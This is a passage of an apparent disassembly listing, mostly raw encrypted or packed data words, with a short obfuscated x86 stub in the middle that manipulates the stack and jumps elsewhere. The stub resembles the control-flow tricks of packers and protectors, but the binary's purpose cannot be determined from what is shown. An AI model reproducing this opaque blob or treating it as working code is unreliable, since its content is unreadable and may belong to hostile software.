		dd 4D8D49A2h, 1BDB13FBh, 0AFF29EBCh, 0BA729A3Eh, 4E55594h
		dd 47AB1BC8h, 914DBD8Fh, 3D8DDA18h, 0CAFB12D0h,	687C5CF9h
		dd 805CF46h, 0F000000h,	2BE30FBFh, 5EBECCA2h, 0DBB7BB3h
		dd 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh, 2A9C5C98h
		dd 7CCA0AC2h, 2096568Eh, 0DDD313CBh, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 52241489h, 0C281E289h, 4,	4EA81h,	14870000h
		dd 0C895C24h, 7AE6824h,	34890000h, 92D6824h, 0C8B06B2h
		dd 4C48124h, 54000000h,	8324348Bh, 5C6804C4h, 8900003Fh
		dd 468F240Ch, 2434FF08h, 4C4815Eh, 0FF000000h, 81592434h
		dd 4C4h, 700EE900h, 0EED7FFFAh,	0B8CD6263h, 6B20DA8h, 0E0FFC503h
		dd 70CF97B8h, 70D1EC8Dh, 594FA060h, 36E8752Ch, 5BA0E8D5h
		dd 1FE920B8h, 656FE786h, 0B7E9h, 0C7A8CB00h, 459CD76Ch
		dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h
		dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh
		dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch
		dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh
		dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h
		dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
		dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
		dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
		dd 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 15DFE9h, 10DA6800h, 19E906B2h
		dd 68FFFA6Fh, 6B211E7h,	0FA6F0FE9h, 12C168FFh, 5E906B2h
		dd 68FFFA6Fh, 6B21427h,	0FA6EFBE9h, 14C468FFh, 0F1E906B2h
		dd 68FFFA6Eh, 6B21573h,	0FA6EE7E9h, 163D68FFh, 0DDE906B2h
		dd 68FFFA6Eh, 6B216EDh,	0FA6ED3E9h, 17B468FFh, 0C9E906B2h
		dd 68FFFA6Eh, 6B21949h,	0FA6EBFE9h, 1A2B68FFh, 0B5E906B2h
		dd 68FFFA6Eh, 6B21B86h,	0FA6EABE9h, 1C6868FFh, 0A1E906B2h
		dd 68FFFA6Eh, 6B21DACh,	0FA6E97E9h, 1EF668FFh, 8DE906B2h
		dd 68FFFA6Eh, 6B220F3h,	0FA6E83E9h, 223D68FFh, 79E906B2h
		dd 0F9FFFA6Eh, 0AF1FDE16h, 0FB4B8A42h, 0A818D915h, 0F5458440h
		dd 621FDE16h, 0E11DCC9Bh, 0BE769020h, 0EB23CF7Fh, 0B5719A2Ah
		dd 0DF6C3D74h, 0E8E12689h, 5E7DF1D6h, 7B171ADh,	0ACFD2EE6h
		dd 9335C91Fh, 0B33A16EFh, 0F18B2170h, 0E64DFB6Bh, 48846B59h
		dd 8AE024C1h, 0B237EA59h, 0A884E52Eh, 0DE83DD68h, 5377F63Eh
		dd 1C5FDB37h, 3F5539EFh, 0D9000000h, 3ADE0FBFh,	71DB1BD3h
		dd 0BC359F5Fh, 24F79D59h, 2F3B2697h, 5487ABE5h,	0ACA02E4h
		dd 5EEB29A0h, 0F63F4006h, 86467E6Eh, 0DF1FD730h, 63F2BF7h
		dd 2DE8AAEh, 39E8B986h,	0D38Ah,	0AD5E0600h, 81417D6Dh
		dd 73C5052Bh, 508C7C9Ch, 0DF08BE7Eh, 0B851E727h, 35DE3281h
		dd 0F23EF93h, 0D616CE3Dh, 2093527Ch, 0EF9330D2h, 0D415D13Ah
		dd 8B4B8364h, 95462CE8h, 2F437726h, 59B000E5h, 7EF75D9Dh
		dd 0D786476Bh, 8E4E8667h, 8C48AD24h, 7D22B0E0h,	3F839ACEh
		dd 0E3CBE7F6h, 0E5CB2E77h, 13EF8536h, 8838EBCFh, 382DA460h
		dd 0D06DC714h, 10E8DA4Bh, 4CFC2DA4h, 10A0619Dh,	9AD53DF9h
		dd 0C068695Ch, 133CB0FCh, 69840000h, 2FDC6CADh,	688636F7h
		dd 2DDD6DACh, 698030F1h, 0E8116CADh, 0B978B45Bh, 0E627DF09h
		dd 0C302BA56h, 0A3629A73h, 0D408BBEAh, 19E8E125h, 0AF5EB23Eh
		dd 0E506B677h, 13B9E829h, 0E72CC25Ah, 0C774A7B5h, 0EF92EE91h
		dd 0F77BF2DEh, 0F6254F8Bh, 2F3BF445h, 955579E5h, 3F3FE820h
		dd 0C2AE8AF6h, 0E8B9A226h, 0FAA639h, 5E2A0000h,	0F71977ADh
		dd 98B708A3h, 34D565B6h, 0E4B371F8h, 7F79B754h,	979AC99Ch
		dd 6AC0002Eh, 803CD3E3h, 985F540h, 0FEEFEF93h, 45A515C6h
		dd 92C30089h, 5CEFCA22h, 0EF931408h, 0DE577955h, 6C7FDEEh
		dd 0F1F9808Ch, 7417D7F9h, 0BA09DAB0h, 0E52EBAEBh, 0C216A5F4h
		dd 0FF63EBAh, 0D414D03Fh, 0CCD9507Eh, 804421E0h, 0DB6839EAh
		dd 0F63EBA85h, 0BE6FE6CAh, 0D70DBEEFh, 24F63EBAh, 18D43A08h
		dd 0C8FB72D8h, 0EBCE5C23h, 7DD70428h, 497E493Ch, 5D8C058Ah
		dd 7C6FEEDh, 749C58B7h,	6869E241h, 2FEBA79Bh, 0B9000012h
		dd 0EF5F9E56h, 0BB0BCA02h, 0E8589955h, 0B505C400h, 225F9E56h
		dd 0A15D8CDBh, 0FE36D060h, 0AB638F3Fh, 0F531DA6Ah, 9F2C7D34h
		dd 0E8E12449h, 5E3DB196h, 0F5A477AFh, 0AC6CA845h, 35E13706h
		dd 22EEF93h, 0A919488Bh, 55BB8945h, 7AF35999h, 9279A14Ah
		dd 0B9B5745Ah, 752915BFh, 0D6CE867Fh, 467E6F5Fh, 1FD73086h
		dd 44806EDEh, 1DD93284h, 39278DDCh, 0A4170373h,	0FA77F6Dh
		dd 1BD48727h, 20543792h, 83437B90h, 8145A029h, 0A8B38EBh
		dd 0D7E52EDDh, 77AE1BFBh, 34DCB511h, 33749CF0h,	0CDA79172h
		dd 0FA8330E3h, 0C7E3650Ah, 8C482BEBh, 378635E6h, 0C4EA0599h
		dd 658B3BE8h, 41F120A9h, 5C9870A8h, 9BE83C8Fh, 1935FB24h
		dd 0A546F637h, 647A8169h, 447866A0h, 115508h, 0B8749F00h
		dd 0E824C979h, 0BB739929h, 0EA22CA7Ah, 0B8749B2Bh, 0AEFD0479h
		dd 0F646873Fh, 0A919D814h, 0F8488945h, 5F16D70Fh, 2367BD0Eh
		dd 93B4E8E1h, 71AD5E1Fh, 4CE6B1h, 48CF56A1h, 7BBF5AD3h
		dd 826DE0Dh, 7A1D68DBh,	4E62E52Eh, 0B92EEA8Fh, 3E7DD60Ah
		dd 0E5311BF6h, 7D81F380h, 0EE3D133Dh, 0DB4AA45Dh, 4585A9EBh
		dd 0EB4898F0h, 278D5AFCh, 941DD987h, 4B69E0EFh,	3047C31Fh
		dd 584D321Ch, 0C1000000h, 0F6254F8Bh, 35C014A7h, 210DEF93h
		dd 45CA79A8h, 0CEE52F78h, 27D1A164h, 7EF7C4B3h,	2494476Bh
		dd 7ECD0CC8h, 0F63FE028h, 0BE7FB750h, 0D536E20Eh, 5D73D919h
		dd 5086248Eh, 5E7F1E10h, 3EA1AC76h, 961F8F9Bh, 10881854h
		dd 0FF4F0000h, 0D717D210h, 9727176Dh, 8BBC30B9h, 45F6254Fh
		dd 0E52126FBh, 0FBF6C40h, 0A4F526DEh, 4544C117h, 0AB220EF6h
		dd 0F72FD868h, 82316037h, 0F645444Eh, 8A9D59B6h, 0ECA2FA6h
		dd 9104B764h, 5EEBD347h, 52E83C8Fh, 0F810FCF7h,	29072B3Ch
		dd 6BA34AFAh, 194FFCABh, 66FCF753h, 3CED644Ah, 0D2CDD6Dh
		dd 0F7526ABEh, 0B59BB7FCh, 23DB0C3Ch, 0BE12A1F0h, 3FCF752h
		dd 3465A62Fh, 21A86484h, 0FC3CF811h, 0E2315B9Fh, 93479C51h
		dd 658DA1F2h, 6F1F385Ch, 0EFE6AA96h, 7900000Fh,	2F9F5E96h
		dd 7BCB0AC2h, 28985995h, 75C504C0h, 0E29F5E96h,	619D4C1Bh
		dd 3EF610A0h, 6BA34FFFh, 35F11AAAh, 5FECBDF4h, 0E8E12209h
		dd 5DFD7156h, 0EF933603h, 0BC6A268Ch, 71903138h, 0B3D91DF8h
		dd 0CC9B3160h, 65A59AF6h, 803CD3E1h, 436F3A09h,	507CE520h
		dd 3DDD3383h, 0F93917CFh, 4EC71DAEh, 3814F644h,	0B3BE3E16h
		dd 0C145C194h, 0C0299948h, 9475C504h, 5EC216A5h, 230FF644h
		dd 95EFBF0Bh, 8DA34BE3h, 80EA2E4Dh, 7695E053h, 0F6DAEBE0h
		dd 6C43091Eh, 0A3EFD368h, 0F52h, 7EBF779Ah, 24E521CEh
		dd 7FBE7694h, 26E71FCFh, 7EBF7796h, 3EADFA03h, 15F74786h
		dd 44A818D9h, 10F94988h, 0D5C15D4h, 0E1216ABEh,	1C90B7E8h
		dd 268CAD5Eh, 0EC43B9F9h, 87DDEC17h, 0D4EF928Ch, 0A016D6F8h
		dd 5D7D9347h, 755B75B1h, 36EE03B5h, 0BE12A1F6h,	3EF928Ch
		dd 36EE1D2Fh, 177351F6h, 0B4D0F05Eh, 0BBE2DC58h, 918D4C0h
		dd 8B580000h, 45F6254Fh, 0E52138A5h, 0E55586AAh, 0B909C804h
		dd 0E1549450h, 0F64544A7h, 79AAC004h, 0E1627FCAh, 4C1DCCEBh
		dd 0F166A9FFh, 0EBDAF6FCh, 0FCF166B5h, 10F8D6FAh, 686D2E8Dh
		dd 0A3A7EBD7h, 2D00000Eh, 7BCB0AC2h, 2F9F5E96h,	74C405C1h
		dd 29995894h, 0B6CB0AC2h, 2DE9004Fh, 72AA5CECh,	37EF03B3h
		dd 69A546F6h, 3B0E1A8h,	0E8E120CDh, 5EB93512h, 7B171ADh
		dd 21DD32E6h, 2BA57E1h,	684668C2h, 0C6A282A8h, 0F12DC272h
		dd 9B129B31h, 0C0BB4B1Fh, 73A91A4Bh, 0B8EF933Dh, 77921D94h
		dd 1E000008h, 9336035Dh, 167CB8EFh, 387876C5h, 90C1E521h
		dd 4544ED23h, 3DF917F6h, 9A8F062Ah, 653465B6h, 454482D6h
		dd 30E3CFF6h, 45444D83h, 37BE92F6h, 0EF2EE607h,	0A576AE5Fh
		dd 0D5917F0Fh, 60E94999h, 0A645F5A2h, 639A466Eh, 230963E8h
		dd 0E18B4FAAh, 0B06C8232h, 0EE5BE839h, 33EBE1B8h, 856CF71Fh
		dd 1A26686Dh, 0DD956h, 54906300h, 0CC82595h, 578F7DCDh
		dd 0EC62696h, 54907FCFh, 5211E895h, 72C203BBh, 2D9D5C98h
		dd 74C405C1h, 0D39A5B93h, 1FDB3182h, 720E8E1h, 71AD5E8Bh
		dd 4B7E6B1h, 0EF9335D0h, 51E2311Dh, 0EF9335FBh,	0D5E56C40h
		dd 812BF834h, 749206C8h, 4B890023h, 0C9254161h,	0C0BBF84Dh
		dd 7AD47h, 0C9269600h, 8B08840Dh, 0A7F6254Fh, 74505E0Dh
		dd 30D93875h, 6053DAF4h, 0E5205F57h, 6BDB0824h,	0DA8B4A82h
		dd 980C1E70h, 0F0197885h, 705EF434h, 0E420C9F9h, 2D379124h
		dd 0B074F645h, 4FBA09DAh, 9CEBE14Bh, 17E158B0h,	0CFF3686Dh
		dd 0D2983h, 0A460B300h
		dd 0FC38D565h, 0A75F8D3Dh, 0FE36D666h, 0A4608F3Fh, 0A2E11865h
		dd 0E252934Bh, 0BD0DCC08h, 0E4549551h, 430ACB03h, 1F6BA112h
		dd 97B0E8E1h, 6DAD5E1Bh, 99764480h, 19379D5Dh, 467E6FD9h
		dd 2177C495h, 6EEF9336h, 5E967042h, 7FBD349Eh, 2BEB23C9h
		dd 73B36B9Dh, 99D8B416h, 0C77B1737h, 9E5E9677h,	28E40634h
		dd 42CB42E8h, 0C0BB4BC6h, 6E9CAh, 85D4600h, 0A5EF9336h
		dd 0F45F661h, 5CEF9336h, 3E8D5E70h, 0E5213832h,	0F04093BFh
		dd 3ED2E01Ch, 6EDE0F86h, 3080417Dh, 0BCDF1FD7h,	90C11278h
		dd 5D9971C1h, 4545386Ch, 9BA985F6h, 0D57FBF77h,	4BEE6F5Ch
		dd 9FB3EBE1h, 6D1A0877h, 0A2EED268h, 0C62h, 0ECF07EAh
		dd 549551BEh, 0FCE06E4h, 56974FBFh, 0ECF07E6h, 0EFD8A73h
		dd 45A717D6h, 14F84889h, 40A919D8h, 5D0C4584h, 0E11EBAEEh
		dd 0AC2007E8h, 0B171AD5Eh, 0EE2EE607h, 0F93D298Bh, 0A969A549h
		dd 51BA8A03h, 19815B93h, 76444048h, 349E5E96h, 56D2DB1Ah
		dd 5AC0BB9Fh, 185h, 1B8A218Bh, 890C40F3h, 7D51EF92h, 8772F755h
		dd 8A200CAFh, 0E36AC666h, 71AD5E6Fh, 0C1FD12A2h, 0CB3C8A48h
		dd 466AC013h, 0B7334CE8h, 6C09CA43h, 0A111C2A8h, 0C918914Dh
		dd 2EE1A77Ah, 18D8F4E5h, 0DA12FF4Fh, 0D66BA09h,	87ABF63Fh
		dd 0DE33D0Eh, 0B397F63Fh, 63BF3BD7h, 70B539EFh,	64000000h
		dd 3CFC38D4h, 0BF931F96h, 64D7E20Fh, 0EF933630h, 0BF7F517Dh
		dd 0BD799C15h, 0C0EE26CBh, 0A0134213h, 0EF93356Ch, 3592C675h
		dd 0F3DFEF93h, 0FC38D4E4h, 31B8963Ch, 2F3BB302h, 0D41438E5h
		dd 27DF3383h, 3F439DAEh, 41ADF63Fh, 19F34585h, 3F3D9320h
		dd 0AE82F63Fh, 4E6E4080h, 0EFCB6322h, 608F3F83h, 47CE64A4h
		dd 0E8B94ACEh, 0A47E39h, 5EF20000h, 7B171ADh, 5AEC2CE8h
		dd 3B575B1h, 287CCFEAh,	75EF9336h, 4A826B59h, 0EA07B764h
		dd 0CB78BB32h, 0EF93598Bh, 19D814F5h, 1D2B87Ch,	0A69810ABh
		dd 0C34AE9F6h, 5B78A112h, 0A985E523h, 0E546D07Ah, 0F447A450h
		dd 0ED1CAC7Dh, 23F19937h, 0BB955309h, 4962C268h, 0BAD1FA70h
		dd 0A940F033h, 9D40856Dh, 63A61BEh, 0ACD4Ah, 0C0FC1700h
		dd 0A05CB101h, 833BD161h, 0E21AF242h, 407C9323h, 4605FC81h
		dd 1EAE6FA7h, 41F130ECh, 0B071ADh, 0A7EE2FE7h, 1D0F45F6h
		dd 7B5CE8E1h, 77AF5EF7h, 29E506B6h, 0AD5EE4E8h,	0E607B171h
		dd 0E020DC32h, 0EFA5644Ah, 4B6h, 254F8BE5h, 6CA846F6h
		dd 0D56534E5h, 4271F834h, 0E52F52AFh, 0E55090BCh, 0F63F5AABh
		dd 0BBFF6B4Fh, 0E929E50Bh, 5F977143h, 94DB5FD6h, 1CD139E8h
		dd 5D000002h, 93360A5Dh, 963A7EFh, 388169DAh, 0DF0EE521h
		dd 4545386Ch, 87A985F6h, 3603E454h, 45454F85h, 9EB09CF6h
		dd 3AAC1C4Dh, 0D9E84282h, 0F6454583h, 423E2C8h,	8308B371h
		dd 57E724ADh, 0AF8A62B6h, 459DC81Ch, 173915F6h,	93537DD7h
		dd 8D5E34F0h, 0E1A39F3Eh, 0A8406CEBh, 686D7173h, 0EB511D21h
		dd 75000009h, 13A3629Ah, 0B707C6FEh, 0EC5C9D59h, 0B101C0FCh
		dd 1E63A25Ah, 8541A8E7h, 0DA12F444h, 8F47AB1Bh,	0D10DFE4Eh
		dd 0BB085910h, 0E8E11B65h, 5E018DAAh, 7B171ADh,	8BEE2EE6h
		dd 49F93D29h, 0B85664A0h, 24C5F57Ch, 678B3BE8h,	0BC6BF6A9h
		dd 92BC22ECh, 53934BA0h, 0BAB370F9h, 0C0BBFB3Eh, 15632h
		dd 0AD5EBE00h, 8444806Dh, 76C0002Eh, 3A8A5995h,	71DB1BD3h
		dd 9A5E3BF8h, 0C27223F0h, 862CEC28h, 28693C0Fh,	9AB6E52Fh
		dd 4DBD0D5Ah, 0F12B1891h, 1BF63F54h, 49FF3FF7h,	0CEAB6BA3h
		dd 0E941006Ch, 0C145A1CDh, 0CB39E8AAh, 39h, 254F8B47h
		dd 0C014A7F6h, 28EF9335h, 3F1304C0h, 65D467B6h,	2EE52F3Bh
		dd 75B5719Eh, 6F4356DFh, 22DA0CBCh, 84DC69ABh, 76F63F3Fh
		dd 5EDA3652h, 5239E8B9h, 0B2h, 71AD5EDEh, 2CE807B1h, 75B15AECh
		dd 38F416A6h, 866052F8h, 0B305C74Eh, 341DA45Ah,	69EC1D9Bh
		dd 5779B55Bh, 2596C796h, 0EF92B9EFh, 2D3AF219h,	2BBB8801h
		dd 95EF92E6h, 9444A474h, 5494BA72h, 7411D0FEh, 0A309DAB0h
		dd 8B7CFD60h, 0E4AC7B53h, 0E3CD09E0h, 0E108BB6Ah, 0EEE5225Fh
		dd 4AA111C2h, 60A05C8Eh, 9525E4CAh, 0FB56BE76h,	0D561BD27h
		dd 890A5E9h, 35D80000h,	638838F9h, 34DA6AABh, 618939F8h
		dd 35D464A5h, 0BC4538F9h, 5C400EFh, 5A9B53B5h, 0FCE06EAh
		dd 57964EBFh, 0A8FC4F1Eh, 0F5E8E11Ah, 0AF5E5ED2h, 614F876Bh
		dd 3FF710A0h, 0AD5EF2FEh, 35E93F8Ch, 1A36EF93h,	36267AC9h
		dd 476BEF93h, 0EE1FA969h, 240AC22Ah, 268AFE5h, 8BA50000h
		dd 2FD0234Fh, 30B274D6h, 0CD9CCD1Eh, 92F42A7Eh,	0D25B77EFh
		dd 20E493E1h, 34F4D8E5h, 45024781h, 630F2BF6h, 0F57C0387h
		dd 20D0939h, 5D850000h,	0EF93360Ah, 0C0913993h,	86120617h
		dd 442EEA0Fh, 9476C697h, 0CEE2D158h, 0D3E52083h, 6B9C2CFFh
		dd 29C272B3h, 8A4E2DEDh, 374E75E6h, 0DEA9BDCh, 0CB199CBh
		dd 0B56648C0h, 0E0E98706h, 6E3A90EBh, 3025C4D3h, 5293CB5h
		dd 6C3F4AEDh, 4C7068h, 7AEh, 0E223DB36h, 0C001BD52h, 0A3629A70h
		dd 2C3FB13h, 62A35BB2h,	42A9E61Fh, 11FB4B8Ah, 48A414D5h
		dd 0CFD4D8Ch, 95811D0h,	0E11966BAh, 8CABE8h, 0B171AD5Eh
		dd 0EE2EE607h, 183D298Bh, 0A7F637EFh, 360F45F6h, 705CEF93h
		dd 4FF470F9h, 64FCC0BBh, 70000001h, 36E20FBFh, 76DC1CD8h
		dd 8E1D158h, 51BA0CCCh,	0F5315495h, 0AD1D4C9Fh,	0BFAB833Bh
		dd 0F50AD5CDh, 7124179Eh, 0BEE52EA2h, 0AF055292h, 5A022734h
		dd 33EB0246h, 0FE7759F3h, 3E5F93CDh, 274367F6h,	0EF9D4FCBh
		dd 254539h, 8BC90000h, 45F6254Fh, 0E52F3BF4h, 20955579h
		dd 0F63F3FE8h, 26C2AE8Ah, 39E8B9A2h, 6AA248F8h,	0DD6CE3h
		dd 5EE00000h, 0CB3C8CADh, 4879D313h, 0EF933614h, 40578F7Ch
		dd 3482426Ch, 0B9331FD5h, 89AE6841h, 92F5E63Ah,	29072BEFh
		dd 9871C707h, 7BCB9C5Ch, 309A5A92h, 0F43EF218h,	3EB7B027h
		dd 0E021DD0Eh, 904AD353h, 508C7DEFh, 5A30F491h,	2F9F2389h
		dd 321AD23Fh, 56A6DF14h, 96986C51h, 6EBF3618h, 23AD94DDh
		dd 66B599E5h, 2CFF37D6h, 0B4992E86h, 0FF768966h, 0A15D8C3Ch
		dd 0BEE4B449h, 0AEE2DE61h, 66Ah, 26E71FF2h, 7CBD7996h
		dd 27E61ECCh, 7EBF7797h, 26E71FCEh, 6E5A25Bh, 4DBF0FCEh
		dd 0CE05091h, 48A111D0h, 55044D8Ch, 0E118B2E6h,	54D8FFE8h
		dd 836BAF5Eh, 507EB657h, 0D5143A90h, 13B32E84h,	0CAF6B681h
		dd 629A7343h, 6258F2A3h, 0A30924D8h, 381D764h, 0E2CEEF93h
		dd 5EC945CCh, 7B171ADh,	0BEEF2EE6h, 36085CEFh, 7955EF93h
		dd 2C3AF0h, 5E300000h, 7B171ADh, 57FD2EE6h, 0DE0FE88Fh
		dd 2B30E26h, 0BE8C4EC7h, 3EAFF29Eh, 260D4786h, 5A000000h
		dd 0A364B80Bh, 85A9EF92h, 0AD5E800Ch, 0CD04B171h, 0A3EF9335h
		dd 59B2E783h, 40AD6D81h, 0C0EE4484h, 4584AA00h,	3015BF49h
		dd 2A056A52h, 0CF380881h, 9674C417h, 0BD349E5Eh, 0B2D81C7Fh
		dd 68803061h, 0AE1625ACh, 0F3E5206Bh, 893B9122h, 0AC80F644h
		dd 0AE15182h, 31B812D2h, 0E701B1E0h, 7596A62Fh,	992978B9h
		dd 934BA773h, 0E30434BDh, 4C88EB2Bh, 8A3468DBh,	5579F644h
		dd 0EF18A87Bh, 0D45DF737h, 8C23B605h, 0C4E8EBD2h, 8945A717h
		dd 4ED9E549h, 7AF93AEFh, 0BC0CDD54h, 0E252934Bh, 6E0DCD09h
		dd 0A013C0AAh, 0F292A10Dh, 1DD63E12h, 0B76F1E91h
		dd 520C78Bh, 45A80000h,	13F84889h, 44AA1ADBh, 11F94988h
		dd 45A414D5h, 0CC354889h, 559450BFh, 0ACB03E5h,	5F9E56BAh
		dd 7C6FEEFh, 78AC1F4Eh,	0C5E8E117h, 0AD5E6EE2h,	40F3A271h
		dd 0EF93360Ch, 37F47D51h, 6EAE6687h, 37F72FD8h,	2094F052h
		dd 0D07AA18Ah, 932A2D63h, 765E72EFh, 0D45D0A61h, 0ACB03E4h
		dd 3603EB5Bh, 929B4F85h, 9EB09CEFh, 0D51A9E17h,	5F0EC0BBh
		dd 0DF000000h, 0CC45816Fh, 0E10FBF40h, 8D49AC25h, 0D56534E7h
		dd 953FFF37h, 53934BA7h, 0BC4370F9h, 81E52F78h,	22CE7EADh
		dd 0D07A2BEAh, 93F98EFFh, 0EF3B13E1h, 917945ADh, 5BB38009h
		dd 64F64012h, 9A81D0CEh, 0FBEC14F4h, 5464EDC3h,	0ABA7BB3h
		dd 0A2EE2EE6h, 456h, 0D98A5FF5h, 0C4C9840Ch, 0AD5EC14Dh
		dd 0E607B171h, 4E8AEF2Eh, 36366AD9h, 577BEF93h,	8E4E8665h
		dd 69D90A24h, 22884884h, 4AC3FB10h, 0D860CA9Bh,	8317DEE4h
		dd 0E53B885Bh, 2AEF9322h, 0E9BC8F06h, 36E52F14h, 0DF63C91Ah
		dd 5C3CE5B1h, 0F6438108h, 0F63F499Eh, 0D63B8B5Ch, 0D9B5971Eh
		dd 0E8A7B93Dh, 30B339h,	8B3F0000h, 45F6254Fh, 0E52F3BF4h
		dd 27DF0DBDh, 0D1C44DE7h, 20842EFDh, 531D6633h,	57E220A9h
		dd 0F63F51FDh, 51ADD9FDh, 39E8ABD5h, 108DFh, 0FBF5300h
		dd 9EAE27DFh, 0C771B16Dh, 6EA21128h, 96EF9335h,	0D77DBD79h
		dd 2C2ECC0h, 5B9B53B4h,	0B7C6FCEDh, 8AF9CD0Ch, 389D78FFh
		dd 0DECF9E10h, 348231F0h, 5CEF92D1h, 2B273ABh, 21DD31E9h
		dd 7D6CDC0Fh, 690AC841h, 0A714C7ADh, 0E52EDE6Eh, 94E8DD77h
		dd 559551B8h, 9925D7FFh, 0D1FDE861h, 0DBB17510h, 0CD43A208h
		dd 0CDA5CD51h, 0F9269544h, 0C2EBCE9Dh, 0A3EC2093h, 1D31FCEDh
		dd 7EAD8194h, 14C4852Fh, 39B0ADC6h, 0AD6980B0h,	0ED2DDC6Ch
		dd 1E9C7FFh, 6869BB78h,	230A467Ah, 0AD000003h, 0FB4B8A42h
		dd 0AF1FDE16h, 0F4448541h, 0A919D814h, 364B8A42h, 0AD6980CFh
		dd 0F22ADC6Ch, 0B76F8333h, 0E925C676h, 83306128h, 0E8E1154Dh
		dd 5E39B592h, 0F5A477AFh, 48AE4E5Fh, 0B78610C6h, 0EF929561h
		dd 0C80B82AEh, 0A34B8F78h, 2F01AB6Bh, 222156FCh, 5870AC41h
		dd 89655269h, 9278D4Dh,	43124380h, 92539CF0h, 44CDE1EFh
		dd 234F8BC8h, 46D85DDEh, 0BB684696h, 2F15B908h,	60D382E5h
		dd 0F63F1A2Ch, 19D206B5h, 331FF63Fh, 1246F524h,	5FF63F1Ah
		dd 0C1D45D73h, 40982DEDh, 0A8F63F19h, 0F046863Eh, 7A1FDF17h
		dd 5DF5ACD8h, 75F10D79h, 7F39EF53h, 0EEh, 77AD5EF3h, 828DB0B7h
		dd 0E824CAB4h, 9E28E8C6h, 0C277B76Fh, 0EF92EA74h, 72B36B9Ch
		dd 0BD7C9323h, 92F4DA0Eh, 250B27EFh, 2F9C4FE5h,	0EF92F4F9h
		dd 0D3E36A46h, 4D6C9E3Ah, 92F4AAFEh, 0F5DBF7EFh, 0BC781BDBh
		dd 0E45405D6h, 0A309C905h, 0F8C0192Ah, 210DE52Eh, 374185E0h
		dd 77DD1DD9h, 4B398A59h, 90EBCEA2h, 8D3E6FBCh, 0FCEDA057h
		dd 0D00188A4h, 5F062B81h, 3279A280h, 0A8648BBBh, 4B923869h
		dd 7FA4969h, 18F7C74Eh,	659B34DCh, 7D416869h, 1D931h, 54906300h
		dd 0CC82595h, 578F7DCDh, 0EC62696h, 54907FCFh, 5211E895h
		dd 72C203BBh, 2D9D5C98h, 74C405C1h, 0D39A5B93h,	13DB3182h
		dd 720E8E1h, 6BAF5E8Bh,	0CB01B287h, 10EF9335h, 0FD3C123Ch
		dd 0CC9D9C4Dh, 9336297Fh, 6B5A76EFh, 0EF933635h, 0AB78567Ah
		dd 0B73EF61Bh, 0FBF7874h, 40EA2AE2h, 35EC2093h,	1D31EF93h
		dd 8B43A494h, 0D00CFD4Bh, 8C48A111h, 87EB2F4Ch,	54C999BBh
		dd 0ED3E10F9h, 0AAD90FBCh, 0A26EF92h, 2CE15283h, 71E52E9Fh
		dd 7BB9715Bh, 0D8EA60EAh, 1ADAF430h, 0AEF39FBDh, 2540813Dh
		dd 0EB588BE1h, 0EBDA5486h, 0B0E7270Bh, 72FE52E1h, 6F43FCEAh
		dd 0FD74B05Dh, 20E01CCDh, 0F7447596h, 0FCEA72A1h, 2CECC2EEh
		dd 75B5719Ah, 0C0FCEDDFh, 9955B600h, 22630F2Fh,	50D8B494h
		dd 9E2DFE94h, 0F286831Bh, 1C4D8CA0h, 9089D2B6h,	84AC76ECh
		dd 824DB43Bh, 6F5FD674h, 3086467Eh, 43F320DCh, 0D05B73ABh
		dd 0D52DA6EBh, 9532F079h, 0D767DBB7h, 4777FE36h, 0A19872A6h
		dd 96CEBE12h, 12F0303h,	0DD1DD933h, 0FD985977h,	33805339h
		dd 0F932C35Eh, 0F94F8FA3h, 469A2910h, 8B0A42EBh, 0EBB3E95Ah
		dd 0D4F80A42h, 469A29FAh, 8B0A42EBh, 0EE4989A7h, 0EC28A0CCh
		dd 33E65586h, 78FFDEE0h, 34F09554h, 6CDC8D5Eh, 0FAC9407Ch
		dd 67D0A63h, 72C40428h,	2C9C5D99h, 94C303BBh, 0CA0AC224h
		dd 8DAE960h, 0F4697399h, 4E5B8D4h, 0E85809C8h, 0AD07C7FFh
		dd 3BF31424h, 77AF58E8h, 628A3CFEh, 2DDC6AAAh, 668731F1h
		dd 4C6E3AA8h, 0CDE3DE93h, 8DF9250Dh, 0B9D5F7D4h, 18CB03E4h
		dd 598A42A8h, 16C7B6EAh, 5ED7FB82h, 907CCC9Dh, 0FCEDDD54h
		dd 34C00C0h, 46000000h,	0B35E7200h, 0DC0DBB7Bh,	0BA56E020h
		dd 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah
		dd 0CB209656h, 68DDD313h, 6B46h, 57240C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 4895C24h, 352D6824h, 0C890000h
		dd 0BF575124h, 41941577h, 5F3CE781h, 0EF812481h, 38001D4h
		dd 6DC3C781h, 0CF816B53h, 0DAD3DB4h, 88AAF781h,	0F9890D49h
		dd 7FC9815Fh, 0C1129951h, 0E98104E1h, 25454849h, 5459C889h
		dd 81240C8Bh, 4C4h, 89515500h, 59CD89C1h, 5D086989h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 47h,	18h, 6Ah
		dd 20D698B1h, 0B2243BB8h, 0FFC50306h, 0C77ADCE0h, 0BBBBF631h
		dd 22D48F69h, 0D5F5736Dh, 79259706h, 17BB255Fh,	0D0D55D3Fh
		dd 0B3093944h, 221F5B60h, 220A600Dh, 93732A55h,	9885F231h
		dd 0F7B87755h, 0AC8F61Dh, 0AADB8074h, 0F412AB0Dh, 5582D81Ch
		dd 0FF99586Bh, 0A14D0C1Ah, 22A37E43h, 0A9CD3E70h, 2773405Ch
